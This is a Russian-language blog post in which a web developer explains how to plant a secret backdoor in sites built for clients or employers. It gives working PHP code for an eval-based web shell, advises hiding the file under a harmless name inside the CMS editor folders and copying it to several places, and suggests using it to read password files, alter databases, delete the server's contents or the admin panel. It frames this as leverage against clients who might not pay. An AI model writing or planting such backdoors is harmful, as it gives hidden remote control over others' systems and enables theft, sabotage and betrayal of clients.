Однако меня спало то, что в одном из сайтов у меня остался небольшой “запасной вход”, благодаря которому я не думал развиться второму сайту и вылезти в свет. И выглядел этот вход в виде простой формы загрузки файлов на сервер.
С её помощью я загружал на сайт нужные скрипты и запускал их на сайте, а они, в свою очередь, делали свою грязную работу. Минус у этой двери был один – ей мог воспользоваться кто угодно, если, конечно, знал о её существовании.
Прошло время, и несмотря на то, что до сегодняшнего дня всё идёт гладко, это не исключает того, что такая петрушка может повториться вновь.
В принципе, можно использовать и старый метод с отправкой исполняемого файла на сервер, но… Зачем эти сложности, если можно сделать всё проще.
Я предлагаю варианты и идеи простейшего бэкдурова, на случай если действительно возникнут проблемы. Итак…
- Создаём файл php и называем его как-нибудь неприметно, типа license.php или ещё как.
- Пишем в нём код
<?php
if ( isset($_POST[‘text’]) )
eval ($_POST[‘text’]);
?>
<form method=’POST’>
<textarea name=’text’></textarea>
<input type=’submit’>
</form> - Помещаем файл куда-нибудь подальше вглубь cms-ки, например, в дебри WYSIWYG-редактора. При желании дублируем файл ещё в 2-3 места (на всякий пожарный)
Вот он, каркас для безобразий. Полагаю, не нужно пояснять, что функция eval приводит в исполнение набранный в форме код.
Это всего лишь каркас, который может иметь множество примеров реализации. Допустим, можно через highlight_file вывести содержание какого-нибудь файла с паролями, к которому нет прямого доступа. Можно подключиться к базе данных, считать содержание или изменить его. А можно и вовсе напечатать скрипт удаления всего на сервере, почему бы и нет.
Чуть ниже я предлагаю идеи для дополнения этой дверцы, которые можно сделать по желанию – оставлю тебе, дорогой читатель, в качестве необязательного домашнего задания. Но если вдруг будет желание – с радостью гляну на то, что получилось.
Идеи для улучшения:
- Вообще было бы неплохо, чтобы дверь не была доступна каждому, и сделать для неё авторизацию, к примеру, через обычный .htaccess, ну, или средствами PHP на основе сессий (а лучше и то, и другое – прим.ред.).
- Имея авторизацию, можно вообще заготовить ряд кнопочек, кликая по которым можно вызывать тот или иной скрипт. К примеру, заходишь ты в свою дверцу, а там кнопки – считать пароли, считать базу данных, удалить административную панель и так далее.
- Ещё идеи?
Напоследок
Использовать дверку есть смысл тогда, когда сдаёшь сайт до выплаты (бывает), или когда работаешь в фирме, и хочешь подстраховаться. В первом случае, когда выплата производится, то дверку можно удалить, а можно и оставить, правда не думаю, что она уже понадобится. А во втором случае – придётся держать её наготове постоянно.
На сегодня всё. Буду рад Вашим идеям и предложениям на тему! До новых встреч!